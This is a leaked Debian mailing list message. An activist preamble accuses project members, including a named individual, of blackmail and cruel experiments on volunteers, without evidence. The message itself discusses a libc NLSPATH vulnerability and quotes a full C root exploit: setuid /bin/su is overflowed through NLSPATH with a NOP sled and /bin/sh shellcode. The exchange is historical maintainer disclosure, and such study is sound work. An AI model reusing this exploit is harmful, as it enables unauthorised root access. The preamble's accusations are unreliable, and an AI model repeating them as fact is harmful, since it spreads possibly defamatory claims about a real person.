The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: NLSPATH security-problem



> I just removed a hacker who used the following little program
> to get root. It also works fine wioth the newest libc 5.4.23.
> I will add NLSPATH to one of the things that will be deleted
> in ld.so. Maybe you know a better fix for it...
> 
> I don't have the time to look at the security lists to see, if this
> was already posted...

I fixed this in the libc 5.3.12 fixed. Red Hat seems to be invulnerable - Did
this one get into libc 5.4.x NLS code seperately (libc5.3.12 had vulnerable
NLS code, 5.4 had different - I assume equally vulnerable - code).

Alan

> Florian La Roche
> 
> ----------------------------
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> 
> char *shellcode =
>   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
>   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
>   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
>   "\xcd\x80/"
>   "/bin/sh"
>   "0";
> 
> char *get_sp() {
>    asm("movl %esp,%eax");
> }
> 
> #define bufsize 2048
> char buffer[bufsize];
> 
> main() {
>   int i;
> 
>   for (i = 0; i < bufsize - 4; i += 4)
>     *(char **)&buffer[i] = get_sp() - 3072;
> 
>   memset(buffer, 0x90, 512);
>   memcpy(&buffer[512], shellcode, strlen(shellcode));
> 
>   buffer[bufsize - 1] = 0;
> 
>   setenv("NLSPATH", buffer, 1);
> 
>   execl("/bin/su", "/bin/su", NULL);
> }
> 
>